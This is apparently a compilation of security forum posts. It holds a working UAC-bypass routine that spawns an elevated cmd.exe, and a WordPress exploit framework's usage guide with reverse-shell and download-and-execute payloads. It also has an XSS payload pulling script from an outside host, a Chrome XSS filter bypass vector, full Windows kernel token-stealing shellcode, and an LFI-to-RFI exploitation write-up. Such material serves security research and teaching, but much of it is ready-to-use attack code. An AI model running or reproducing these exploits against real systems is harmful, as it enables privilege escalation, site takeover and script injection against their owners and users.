typedef interface ICMLuaUtil ICMLuaUtil; typedef struct ICMLuaUtilVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE *QueryInterface)( __RPC__in ICMLuaUtil * This, __RPC__in REFIID riid, _COM_Outptr_ void **ppvObject); ULONG(STDMETHODCALLTYPE *AddRef)( __RPC__in ICMLuaUtil * This); ULONG(STDMETHODCALLTYPE *Release)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method1)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method2)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method3)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method4)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method5)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method6)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *ShellExec)( __RPC__in ICMLuaUtil * This, _In_ LPCTSTR lpFile, _In_opt_ LPCTSTR lpParameters, _In_opt_ LPCTSTR lpDirectory, _In_ ULONG fMask, _In_ ULONG nShow ); HRESULT(STDMETHODCALLTYPE *Method8)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method9)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method10)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method11)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method12)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method13)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method14)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method15)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method16)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method17)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method18)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method19)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method20)( __RPC__in ICMLuaUtil * This); END_INTERFACE } *PICMLuaUtilVtbl; interface ICMLuaUtil { CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl; }; #define T_CLSID_CMSTPLUA L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" #define T_IID_ICMLuaUtil L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}" VOID Method41_Test() { HRESULT r = E_FAIL; BOOL bCond = FALSE; IID xIID_ICMLuaUtil; CLSID xCLSID_ICMLuaUtil; ICMLuaUtil *CMLuaUtil = NULL; BIND_OPTS3 bop; WCHAR szElevationMoniker[MAX_PATH]; do { if (CLSIDFromString(T_CLSID_CMSTPLUA, &xCLSID_ICMLuaUtil) != NOERROR) { break; } if (IIDFromString(T_IID_ICMLuaUtil, &xIID_ICMLuaUtil) != S_OK) { break; } RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker)); _strcpy(szElevationMoniker, L"Elevation:Administrator!new:"); _strcat(szElevationMoniker, T_CLSID_CMSTPLUA); RtlSecureZeroMemory(&bop, sizeof(bop)); bop.cbStruct = sizeof(bop); bop.dwClassContext = CLSCTX_LOCAL_SERVER; r = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_ICMLuaUtil, &CMLuaUtil); if (r != S_OK) { break; } r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, L"C:\\windows\\system32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW); } while (bCond); if (CMLuaUtil != NULL) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } } Sursa: https://gist.github.com/hfiref0x/196af729106b780db1c73428b5a5d68d

Publicat pe 15 aug. 2017 Smart guns are sold with a promise: they can be fired only by authorized parties. That works in the movies, but what about in real life? In this talk, we explore the security of one of the only smart guns available for sale in the world. Three vulnerabilities will be demonstrated. First, we will show how to make the weapon fire even when separated from its owner by a considerable distance. Second, we will show how to prevent the weapon from firing even when authorized by its owner. Third, we will show how to fire the weapon even when not authorized by its owner, with no prior contact with the specific weapon, and with no modifications to the weapon.

Da, depinde de aplicatii. Daca o aplicatie deserializeaza date primite de la un utilizator, acesta, in locul obiectelor pe care aplicatia le-ar astepta, poate sa trimita alte obiecte, care la deserializare sa faca ceva interesant (e.g. executare comenzi de sistem).

wordpress-exploit-framework A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems. What do I need to run it? Ensure that you have Ruby >= 2.4.1 installed on your system and then install all required dependencies by opening a command prompt / terminal in the WPXF folder and running bundle install. If bundler is not present on your system, you can install it by running gem install bundler. Troubleshooting Installation Debian Systems If you have issues installing WPXF's dependencies (in particular, Nokogiri), first make sure you have all the tooling necessary to compile C extensions: sudo apt-get install build-essential patch It’s possible that you don’t have important development header files installed on your system. Here’s what you should do if you should find yourself in this situation: sudo apt-get install ruby-dev zlib1g-dev liblzma-dev Windows Systems If you are experiencing errors that indicate that libcurl.dll could not be loaded, you will need to ensure the latest libcurl binary is included in your Ruby bin folder, or any other folder that is in your environment's PATH variable. The latest version can be downloaded from http://curl.haxx.se/download.html As of 16/05/2016, the latest release is marked as Win32 2000/XP zip 7.40.0 libcurl SSL. After downloading the archive, extract the contents of the bin directory into your Ruby bin directory (if prompted, don't overwrite any existing DLLs). How do I use it? Open a command prompt / terminal in the directory that you have downloaded WordPress Exploit Framework to, and start it by running ruby wpxf.rb. Once loaded, you'll be presented with the wpxf prompt, from here you can search for modules using the search command or load a module using the use command. Loading a module into your environment will allow you to set options with the set command and view information about the module using info. Below is an example of how one would load the symposium_shell_upload exploit module, set the module and payload options and run the exploit against the target. wpxf > use exploit/symposium_shell_upload [+] Loaded module: #<Wpxf::Exploit::SymposiumShellUpload:0x3916f20> wpxf [exploit/symposium_shell_upload] > set host wp-sandbox [+] Set host => wp-sandbox wpxf [exploit/symposium_shell_upload] > set target_uri /wordpress/ [+] Set target_uri => /wordpress/ wpxf [exploit/symposium_shell_upload] > set payload exec [+] Loaded payload: #<Wpxf::Payloads::Exec:0x434d078> wpxf [exploit/symposium_shell_upload] > set cmd echo "Hello, world!" [+] Set cmd => echo "Hello, world!" wpxf [exploit/symposium_shell_upload] > run [-] Preparing payload... [-] Uploading the payload... [-] Executing the payload... [+] Result: Hello, world! [+] Execution finished successfully For a full list of supported commands, take a look at This Wiki Page. What is the difference between auxiliary and exploit modules? Auxiliary modules do not allow you to run payloads on the target machine, but instead allow you to extract information from the target, escalate privileges or provide denial of service functionality. Exploit modules require you to specify a payload which subsequently gets executed on the target machine, allowing you to run arbitrary code to extract information from the machine, establish a remote shell or anything else that you want to do within the context of the web server. What payloads are available? bind_php: uploads a script that will bind to a specific port and allow WPXF to establish a remote shell. custom: uploads and executes a custom PHP script. download_exec: downloads and runs a remote executable file. meterpreter_bind_tcp: a Meterpreter bind TCP payload generated using msfvenom. meterpreter_reverse_tcp: a Meterpreter reverse TCP payload generated using msfvenom. exec: runs a shell command on the remote server and returns the output to the WPXF session. reverse_tcp: uploads a script that will establish a reverse TCP shell. All these payloads, with the exception of custom and the Meterpreter payloads, will delete themselves after they have been executed, to avoid leaving them lying around on the target machine after use or in the event that they are being used to establish a shell which fails. How can I write my own modules and payloads? Guides on writing modules and payloads can be found on The Wiki and full documentation of the API can be found at http://www.getwpxf.com/. License Copyright (C) 2015 rastating Running WordPress Exploit Framework against websites without prior mutual consent may be illegal in your country. The author and parties involved in its development accept no liability and are not responsible for any misuse or damage caused by WordPress Exploit Framework. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/ Sursa: https://github.com/rastating/wordpress-exploit-framework

The Holy Book of X86 ====================== Delivered to you by Arash TC with the spirit of OpenSecurityTraining For More Tutorials and Info, Please visit: http://www.kernelfarm.com https://www.linkedin.com/in/arash-t-c-3a277bbb https://twitter.com/KernelFarm https://twitter.com/arash_tc A complete guide to x86 architecture, assembly, memory management, paging, segmentation, SMM, BIOS.... This book tends to overview and teach x86 subjects in the eyes of a reverse engineer, malware analyst or a hacker. We're not going to teach you how to build an OS or other subjects that are not related to those mentioned above. This Book will be completed and published in 3 volumes. I try to update the content as I write the book. The Hardcopy of the volume 1 & 2 may become available for purchase on Amazon later if necessary. Here's a quick overview of the content (current content): Volume 1: Pure Assembly Introduction to Intel x86 Assembly Learn the most frequently used assembly instructions and their conventions Reverse Engineer simple binaries Control structures and loops Write simple applications in pure assembly Volume 2: Internals Section 1: Raw Intel Architecture Chapter 0x01: Introduction to Intel x86 Architecture Chapter 0x02: Segmentation Chapter 0x03: Paging Chapter 0x04: Cache Control Chapter 0x05: Interrupts and Exceptions Section 2: Windows Internals Chapter 0x06: Exploring PE files Section 3: Linux Internals If you want to support the author: Please buy the Kindle or the Paperback version of Volume 1 on Amazon or CreateSpace eStore: CreateSpace eStore: https://www.createspace.com/7244052 Amazon.com: https://www.amazon.com/Holy-Book-x86-1/dp/1974170780/ref=sr_1_1?ie=UTF8&qid=1502364426&sr=8-1&keywords=the+holy+book+of+x86 Sursa: https://github.com/Captainarash/The_Holy_Book_of_X86

Attacking Self-Hosted Skype for Business/Microsoft Lync Installations August 11, 2017 TL;DR: How to attack self-hosted Skype for Business (Lync) servers. If you’re using O365 wait for the next post. Note: For the sake of brevity throughout this post, Skype for Business and Microsoft Lync will both be referred to under the umbrella designation of ‘Skype4B’. When companies choose to host Skype for Business (previously Microsoft Lync) on-premises, they can inadvertently introduce a large attack surface. Skype for Business, by design, is meant to encourage communication between individuals and it is often externally-accessible so that employees can stay connected 24×7 without the need for a VPN. This bit of convenience makes Skype4B an attractive target to attackers. In a very real sense, Skype4B provides a bridge from The Internet into a company’s internal network, allowing an attacker to interact with the internal Active Directory environment. In this blog post, I will walk through information gathering, user-enumeration, and brute-force attacks against an internal network, using only the attack-surface opened by a standard implementation of self-hosted Skype for Business. Article: https://www.trustedsec.com/2017/08/attacking-self-hosted-skype-businessmicrosoft-lync-installations/

Publicat pe 11 aug. 2017 On April 24, 2015, Apple launched themselves into the wearables category with the introduction of Apple Watch. This June, at Apple's Worldwide Developer Conference, Apple announced that their watch is not only the #1 selling smartwatch worldwide by far, but also announced the introduction of new capabilities that will come with the release of watchOS 4. Like other devices, Apple Watch contains highly sensitive user data such as email and text messages, contacts, GPS and more, and like other devices and operating systems, has become a target for malicious activity. This talk will provide an overview of Apple Watch and watchOS security mechanisms including codesign enforcement, sandboxing, memory protections and more. We will cover vulnerabilities and exploitation details and dive into the techniques used in creating an Apple Watch jailbreak. This will ultimately lead to a demonstration and explanation of jailbreaking an Apple Watch, showcasing how it can access important user data and applications.

%00%00%00%00%00%00%00<script%20src=http://xss.rocks/xss.js ></script> Sursa: https://twitter.com/0rbz_/status/896896095862669312

Chrome XSS Auditor – SVG Bypass August 14, 2017 Brute The Art of XSS Payload Building More than an year ago, in my private twitter account Brutal Secrets, I shared an interesting way to bypass Google’s Chrome anti-XSS filter called XSS Auditor. We will see now in details, from a blackbox perspective, a logical sequence of assumptions and conclusions that leads to our XSS vector responsible for the bypass. We start with a known source of trouble for all XHTML parsers (browsers) out there: Scalable Vector Graphics or SVG. Without getting deeper into the explanation of what SVG can do (check here), all we need to know is that SVG markup is way more complex than simple XML/HTML and full of unexplored resources for an attacker. Starting with a simple <svg> tag we proceed using an empty anchor, the <a> tag that creates an hyperlink. Nested to this anchor we will use a rectangle to create a larger clickable area, ending up with something like this: <svg><a><rect width=100% height=100%> check here We are now looking for a way to interact with the element but we can’t use event handlers due to Auditor’s blocking. So we will try one of the tags used in animations, notably the <animate> one. The <animate> tag takes an attribute (with attributeName) of a parent element (in our case the <rect> one) and manipulates its value, like “width” for instance. It creates the animation effect with the help of its own attributes “from”, “to” and “dur” (duration). <svg><a><rect width=100% height=100%><animate attributeName=width from=0 to=100% dur=2s> check here The interesting conclusion here is that we are in fact changing the original value of “width” attribute, in sequence. But what if we target a different attribute? Let’s take the href of the anchor (<a>) which is not set but is implicit. With some tweak in attributes and a self-closed <rect>, we are ready to go. <svg><a><rect width=100% height=100% /><animate attributeName=href to=//google.com> check here or <svg><a><rect width=100% height=100%><animate attributeName=href from=//google.com to=?> check here By clicking in our rectangle now, we are redirected to Google’s website. So to pop an alert box, we will just try to change it to “javascript:alert(1)”. Not that easy. Even an attempt to fool Auditor using HTML encoding gets blocked. <svg><a><rect width=100% height=100% /><animate attributeName=href to=javas&#99ript:alert(1)> check here We get back to SVG Attribute Reference and find an interesting alternative to “from” and “to”: animation elements can also use a “values” attribute which provides the same set of values for the animation. By simply setting “values” to “javascript:alert(1)” we get blocked again. But, surprisingly, this time we pop an alert using the HTML encoded form, “javas&#99ript:alert(1)”. Strange enough, any other arbitrary attribute with our obfuscated payload will fire a blocking but that one seems “whitelisted”! We change the <rect> for an <image> tag, more suitable to attract a victim’s click. A little addition of text/markup and… Boom! <svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javas&#99ript:alert(1)> check here This bypass was found in version 51, although it might work in several past versions. It currently works on Google Chrome v60, the latest version at the time of this publication. Sursa: https://brutelogic.com.br/blog/chrome-xss-auditor-svg-bypass/

From random block corruption to privilege escalation: A filesystem attack vector for rowhammer-like attacks Anil Kurmus Nikolas Ioannou Matthias Neugschwandtner Nikolaos Papandreou Thomas Parnell IBM Research – Zurich Abstract Rowhammer demonstrated that non-physical hardware- weakness-based attacks can be devastating. In a recent paper, Cai et al. [2] propose that similar attacks can be performed on MLC NAND flash. In this paper, we dis- cuss the requirements for a successful, full-system, lo- cal privilege escalation attack on such media, and show a filesystem based attack vector. We demonstrate the filesystem layer of this attack, showing that a random block corruption of a carefully chosen block is sufficient to achieve privilege escalation. In particular, to motivate the assumptions of this filesystem-level attack, we show the attack primitive that an attacker can obtain by making use of cell-to-cell interference is quite weak, and there- fore requires a carefully crafted attack at the OS layer for successful exploitation. Download: https://www.usenix.org/system/files/conference/woot17/woot17-paper-kurmus.pdf

A Primer to Windows x64 shellcoding • Posted by hugsy on August 14, 2017 • windows • kernel • debugging • exploit • token • shellcode Continuing on the path to Windows kernel exploitation… Thanks to the previous post, we now have a working lab for easily (and in a reasonably fast manner) debug Windows kernel. Let’s skip ahead for a minute and assume we control PC using some vulnerability in kernel land (next post), then we may want to jump back into a user allocated buffer to execute a control shellcode. So where do we go from now? How to transform this controlled PC in the kernel-land into a privileged process in user-land? The classic technique is to steal the System process token and copy it into the structure of our targeted arbitrary (but unprivileged) process (say cmd.exe). Note: our target here will the Modern.IE Windows 8.1 x64 we created in the previous post, that we’ll interact with using kd via Network debugging. Refer to previous post if you need to set it up. Stealing SYSTEM token using kd The !process extension of WinDBG provides a structured display of one or all the processes. kd> !process 0 0 System PROCESS ffffe000baa6c040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001a7000 ObjectTable: ffffc0002f403000 HandleCount: <Data Not Accessible> Image: System This leaks the address of the _EPROCESS structure in the kernel, of the proces named System. Using dt will provide a lot more info (here, massively truncated to what interests us): kd> dt _EPROCESS ffffe000baa6c040 ntdll!_EPROCESS +0x000 Pcb : _KPROCESS [...] +0x2e0 UniqueProcessId : 0x00000000`00000004 Void +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffe000`bbc54be8 - 0xfffff801`fed220a0 ] [...] +0x348 Token : _EX_FAST_REF [...] +0x430 PageDirectoryPte : 0 +0x438 ImageFileName : [15] "System" At nt!_EPROCESS.Token (+0x348) we get the process token, which holds a pointer to an “Executive Fast Reference” structure. kd> dt nt!_EX_FAST_REF ffffe000baa6c040+348 +0x000 Object : 0xffffc000`2f405598 Void +0x000 RefCnt : 0y1000 +0x000 Value : 0xffffc000`2f405598 If we nullify the last nibble of the address (i.e. AND with -0xf on x64, -7 on x86), we end up having the System token’s address: kd> ? 0xffffc000`2f405598 & -f Evaluate expression: -70367951432304 = ffffc000`2f405590 kd> dt nt!_TOKEN ffffc000`2f405590 +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x06207526`b64ceb90 +0x030 TokenLock : 0xffffe000`baa4ef90 _ERESOURCE +0x038 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES +0x058 AuditPolicy : _SEP_AUDIT_POLICY [...] Note: the WinDBG extension !token provides a more detailed (and parsed) output. You might to refer to it instead whenever you are analyzing tokens. So basically, if we create a process (say cmd.exe), and overwrite its token with the System token value we found (0xffffc0002f405590), our process will be running as System. Let’s try! We search our process using kd: kd> !process 0 0 cmd.exe PROCESS ffffe000babfd900 SessionId: 1 Cid: 09fc Peb: 7ff6fa81c000 ParentCid: 0714 DirBase: 45c4c000 ObjectTable: ffffc00036d03940 HandleCount: <Data Not Accessible> Image: cmd.exe Overwrite the offset 0x348 with the SYSTEM token pointer (0xffffc0002f405590). kd> dq ffffe000bc043900+348 l1 ffffe000`bc043c48 ffffc000`30723426 kd> eq 0xffffe000babfd900+0x348 0xffffc0002f405590 And tada … Now we know how to transform any unprivileged process into a privileged one using kd. Shellcoding our way to SYSTEM So the basic idea now, to reproduce the same steps that we did in the last part, but from our shellcode. So we need: A pointer to System EPROCESS structure, and save the token (located at offset +0x348) Look up for the current process EPROCESS structure Overwrite its token with System’s Profit! Getting the current process structure address Pointers to process structures on Windows are stored in a doubly linked list (see the member ActiveProcessLinks of nt!_EPROCESS in kd). If we have the address to one process, we can “scroll” back and forward to discover the others. But first, we need to get the address of at the least one process in the kernel. This is exactly the purpose of the routine nt!PsGetCurrentProcess, but since we can’t call it directly (thank you ASLR), we can still check what is it doing under the hood: kd> uf nt!PsGetCurrentProcess nt!PsGetCurrentProcess: fffff801`feb06e84 65488b042588010000 mov rax,qword ptr gs:[188h] fffff801`feb06e8d 488b80b8000000 mov rax,qword ptr [rax+0B8h] fffff801`feb06e94 c3 ret kd> dps gs:188 l1 002b:00000000`00000188 fffff801`fedbfa00 nt!KiInitialThread mov rax, qword ptr gs:[188h] returns a pointer to an _ETHREAD structure (more specifically the kernel thread (KTHREAD) nt!KiInitialThread). If we check the content of this structure at the offset 0xb8, we find the structure to the current process: kd> dt nt!_EPROCESS poi(nt!KiInitialThread+b8) +0x000 Pcb : _KPROCESS [...] +0x2e0 UniqueProcessId : 0x00000000`00000004 Void +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffe000`bbc54be8 - 0xfffff801`fed220a0 ] [...] +0x348 Token : _EX_FAST_REF So now we know where our current process resides in the kernel (just like kd gave us using !process 0 0 cmd.exe earlier), and therefore the first of our shellcode: mov rax, gs:0x188 mov rax, [rax + 0xb8] Browsing through the process list to reach System The processes are stored in the ActiveProcessLinks (offset 0x2e8) of the nt!_EPROCESS structure, via a _LIST_ENTRY, which is a doubly linked list in its simplest form: kd> dt _LIST_ENTRY ntdll!_LIST_ENTRY +0x000 Flink : Ptr64 _LIST_ENTRY +0x008 Blink : Ptr64 _LIST_ENTRY Since we know that System process ID is 4, we can write a very small loop in assembly, whose pseudo-C code would be: ptrProcess = curProcess while ptrProcess->UniqueProcessId != SystemProcess->UniqueProcessId (4) { ptrProcess = ptrProcess->Flink } Which builds the second part of our shellcode: ;; rax has the pointer to the current KPROCESS mov rbx, rax __loop: mov rbx, [rbx + 0x2e8] ;; +0x2e8 ActiveProcessLinks[0].Flink sub rbx, 0x2e8 ;; nextProcess mov rcx, [rbx + 0x2e0] ;; +0x2e0 UniqueProcessId cmp rcx, 4 ;; compare to target PID jnz __loop ;; here rbx hold a pointer to System structure Overwrite the current process token field with System’s This is the third and final part of our shellcode, and the easiest since everything was done in the steps above: ;; rax has the pointer to the current KPROCESS ;; rbx has the pointer to System KPROCESS mov rcx, [rbx + 0x348] ;; +0x348 Token and cl, 0xf0 ;; we must clear the lowest nibble mov [rax + 0x348], rcx The final shellcode We add a few extra instructions to correctly save and restore the context, and make sure we exit cleanly: ;; ;; Token stealing shellcode for Windows 8.1 x64 ;; ;; Save the current context on the stack push rax push rbx push rcx ;; Get the current process mov rax, gs:0x188 mov rax, [rax+0xb8] ;; Loop looking for System PID mov rbx, rax mov rbx, [rbx+0x2e8] sub rbx, 0x2e8 mov rcx, [rbx+0x2e0] cmp rcx, 4 jnz -0x19 ;; Token overwrite mov rcx, [rbx + 0x348] and cl, 0xf0 mov [rax + 0x348], rcx ;; Cleanup pop rcx pop rbx pop rax pop rax pop rax pop rax pop rax pop rax xor rax, rax ret view raw win81-token-stealing-shellcode.asm hosted with ❤ by GitHub We can now simply use any assembler (NASM, YASM) - but I have a personal preference for Keystone-Engine - to generate a bytecode version of our shellcode. #define LEN 80 const char sc[LEN] = "" "\x50" // push rax "\x53" // push rbx "\x51" // push rcx "\x48\x65\xa1\x88\x01\x00\x00\x00\x00\x00\x00" // mov rax, gs:0x188 "\x48\x8b\x80\xb8\x00\x00\x00" // mov rax, [rax+0xb8] "\x48\x89\xc3" // mov rbx, rax "\x48\x8b\x9b\xe8\x02\x00\x00" // mov rbx, [rbx+0x2e8] "\x48\x81\xeb\xe8\x02\x00\x00" // sub rbx, 0x2e8 "\x48\x8b\x8b\xe0\x02\x00\x00" // mov rcx, [rbx+0x2e0] "\x48\x83\xf9\x04" // cmp rcx, 4 "\x75\x15" // jnz 0x17 "\x48\x8b\x8b\x48\x03\x00\x00" // mov rcx, [rbx + 0x348] "\x48\x89\x88\x48\x03\x00\x00" // mov [rax + 0x348], rcx "\x59" // pop rcx "\x5b" // pop rbx "\x58" // pop rax "\x58\x58\x58\x58\x58" // pop rax; pop rax; pop rax; pop rax; pop rax; (required for proper stack return) "\x48\x31\xc0" // xor rax, rax (i.e. NT_SUCCESS) "\xc3" // ret ""; Once copied into an executable location, this shellcode will grant the current process with all System privileges. The next post will actually use this newly created shellcode in a concrete vulnerability exploitation (from the Extremely Vulnerable Driver by HackSys Team). Until then, take care! Recommended readings A Guide to Kernel Exploitation - Attacking The Core Introduction To Windows Shellcode Development x64 Kernel Privilege Escalation Well-Known Security IDentifiers Sursa: https://blahcat.github.io/2017/08/14/a-primer-to-windows-x64-shellcoding/

Turning LFI into RFI Posted on: 2017-08-14 Categories: Red Team Have you ever been testing a web application for vulnerabilities, found a local file include (LFI) that could pay serious dividends if you had the right file on the web server, but couldn’t find the right file on the server to save your life? If so, if you’ve still got access to that application you may want to revisit it after reading this. tl;dr – we’ve found a way to turn local file include (LFI) into remote file include (RFI) for a number of web frameworks My good friend and colleague Mike Brooks (aka rook) and I have been assessing some open source software and we found an avenue for code execution that relied upon having a JAR file of our choosing residing on the web server (we’ll have a full write up of the results of our assessment once CVEs and patches are out). When configured in a specific way the web application would load the JAR file and search within the file for a class. Interestingly enough, in Java classes you can define a static block that is executed upon the class being processed, as shown below: public class LoadRunner { static { System.out.println("Load runner'ed"); } public static void main(String[] args) { } } 1 2 3 4 5 6 7 8 9 public class LoadRunner { static { System.out.println("Load runner'ed"); } public static void main(String[] args) { } } Compiling and loading this Java class is shown below: Executing code on class load in Java With the ability to get code to run upon the JAR file being loaded, and the ability to point the web server to a file path to load a JAR, we thought we had this in the bag – all we had to find now was a way to get the application to reference the JAR somehow. And so we looked and we looked. We looked at all of the request handlers within the application for file uploads. We looked at other network services on the same box. We looked for ways that we could poison files on the server to potentially turn them into the JAR. And after all of this looking we came up empty handed. Mike, being the stubborn exploit extraordinaire that he is, wasn’t ready to give up. I wasn’t entirely ready myself, so we dug in deeper. It was at that point that Mike came up with a great idea… File Descriptors Sure, most frameworks take files that are uploaded and place them on the server’s disk at a path that isn’t guessable (typically using a GUID or other random identifier of some kind), but what if you didn’t need to know that file path to still reference the uploaded file? In Linux, when a process has a file open, it will have a file descriptor opened within its /proc/ directory that points to the file in question. So, if we have a process that has a PID of 1234, and that process has an open file handle to some file in a random location on the disk, that file can be accessed through one of the file descriptors in /proc/1234/fd/*. This means that instead of having to guess GUIDs or other random values, you need only to guess (or find through other means of information disclosure) the PID of an HTTP request’s handler and the file descriptor number of the uploaded file. This is a drastic reduction in the search space for referencing an uploaded file. Not only that but if you already have LFI there are often files in predictable places on disk that contain the PID number for the web server handling HTTP requests. Now this may not seem all that important so far, so allow me to evoke the late, great Billy Mays real quick… But Wait There’s More Lazily Loaded File Descriptors At this point you may be thinking “ok sure, you have reduced the amount of entropy that you have to grapple with to get an LFI working – so what?” You might also be thinking that in order to make use of this functionality you’d need to find a request handler that accepts file uploads, and hammer away at that endpoint uploading files while attempting to LFI all the PID file descriptors. This is only partly true – in the frameworks that we have tested file descriptors are lazily loaded when the FILES dictionary is accessed, and with Flask in particular this FILES dictionary is populated even on HTTP GET requests. Take the following super simple Flask app for example: # -*- coding: utf-8 -*- import os from flask import Flask, request UPLOAD_FOLDER = "/tmp" app = Flask(__name__) app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER @app.route("/", methods=["GET"]) def show_me_the_money(): x = request import code code.interact(local=locals()) if __name__ == "__main__": app.run() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # -*- coding: utf-8 -*- import os from flask import Flask, request UPLOAD_FOLDER = "/tmp" app = Flask(__name__) app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER @app.route("/", methods=["GET"]) def show_me_the_money(): x = request import code code.interact(local=locals()) if __name__ == "__main__": app.run() In this app we have a single handler that allows HTTP GET requests mounted at the base URL. Let’s run this app in an Ubuntu VM and upload a file to it and see what we can find. Even better – let’s upload a file via an HTTP GET request. For anyone that hasn’t seen the import code trick before, this is a great way to debug Python code and libraries – you’re dropped into a REPL at the code.interact call! Here’s a simple script for uploading a file via an HTTP GET request: # -*- coding: utf-8 -*- import requests response = requests.get( "http://127.0.0.1:5000/", files={ "upload_file": open("/tmp/hullo", "rb"), }, ) 1 2 3 4 5 6 7 8 9 # -*- coding: utf-8 -*- import requests response = requests.get( "http://127.0.0.1:5000/", files={ "upload_file": open("/tmp/hullo", "rb"), }, ) And looking in the file at /tmp/hullo we see lots and lots of lines with the words “Hello World”: Hello World! We then run the server and then upload the file, dropping us into a REPL within the context of the Flask request handler: The PID of the Flask request handler With the PID of the request handler we can take a look at the open file descriptors on disk: File descriptors before lazily loading uploaded file We then go back to the REPL and access the uploaded file: Lazily loading uploaded file contents Now that the file has been accessed from within the web server, let’s go back to the /proc directory and see if we can find the contents of the uploaded file (which is pointed to by file descriptor 5 as per the information above): File descriptor after lazy loading Sure enough – there is our uploaded file! For the application we are assessing we confirmed that this method of uploading and referencing a file worked just fine for the JAR we wanted to run! We can further reduce the entropy of the file location search space by uploading the same file multiple times. For example, I modified the code that submits the file upload with nine copies of the same file: # -*- coding: utf-8 -*- import requests response = requests.get( "http://127.0.0.1:5000/", files={ "upload_file": open("/tmp/hullo", "rb"), "upload_file2": open("/tmp/hullo", "rb"), "upload_file3": open("/tmp/hullo", "rb"), "upload_file4": open("/tmp/hullo", "rb"), "upload_file5": open("/tmp/hullo", "rb"), "upload_file6": open("/tmp/hullo", "rb"), "upload_file7": open("/tmp/hullo", "rb"), "upload_file8": open("/tmp/hullo", "rb"), }, ) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # -*- coding: utf-8 -*- import requests response = requests.get( "http://127.0.0.1:5000/", files={ "upload_file": open("/tmp/hullo", "rb"), "upload_file2": open("/tmp/hullo", "rb"), "upload_file3": open("/tmp/hullo", "rb"), "upload_file4": open("/tmp/hullo", "rb"), "upload_file5": open("/tmp/hullo", "rb"), "upload_file6": open("/tmp/hullo", "rb"), "upload_file7": open("/tmp/hullo", "rb"), "upload_file8": open("/tmp/hullo", "rb"), }, ) After running this script, accessing the FILES dictionary in the handler, and checking the contents of the fd directory within the request handler’s PID, we see that there are open file descriptors for all nine of the uploaded files: Nine distinct file descriptors for the same uploaded file With this approach you can likely guarantee that a file descriptor with a specific number is going to point to your uploaded file. Imagine submitting this request with 100 files instead – chances are file descriptor 50 is your file! In turn, this makes it so that the only value you need to guess is the PID, which is not very random at all. Considerations for Exploitation In summary, this is a method to greatly reduce the search space necessary to reference uploaded files for exploitation purposes, which in turn enables LFI to become RFI in many cases. If you’re looking to use this method for exploitation, consider the following: The frameworks that we have looked at (Django and Flask) lazily load file references when the FILE dictionaries are accessed. As such, you must target request handlers that access the FILES dictionary. Once the FILES dictionary is accessed the file descriptor will remain open for the duration of the request handling. Other frameworks may just populate these file descriptors by default – this is something we’re going to look into more. Some frameworks make no distinction between different request methods when processing an uploaded file in the body of a request (cough cough FLASK cough cough) meaning that this attack is not only limited to non-idempotent HTTP verbs. PIDs are not meant to be randomized. If you’re looking to turn this into an exploit, create a local setup of whatever your target is (Apache on Ubuntu, Nginx on Fedora, etc) and take a look at the PIDs associated with the web servers and request handlers. Generally speaking when you install services into *nix they will be started in similar order upon reboot. As PIDs are assigned in order as well, this means that you can drastically reduce the PID search space. The request handler only has to access the FILES dictionary for all uploaded files to be processed. This is to say that if functionality within a handler expects an uploaded file to be a PDF in order for the request handler’s code to be executed and you want to upload a JAR, then just upload both files – they will both be given file descriptors. Try to find request handlers that (1) load the file descriptors and (2) take a significant amount of time to do whatever they’re intended to. For the purpose of our assessment, we found a handler that was meant to process the entire contents of a file row by row, so we uploaded a huge file to it 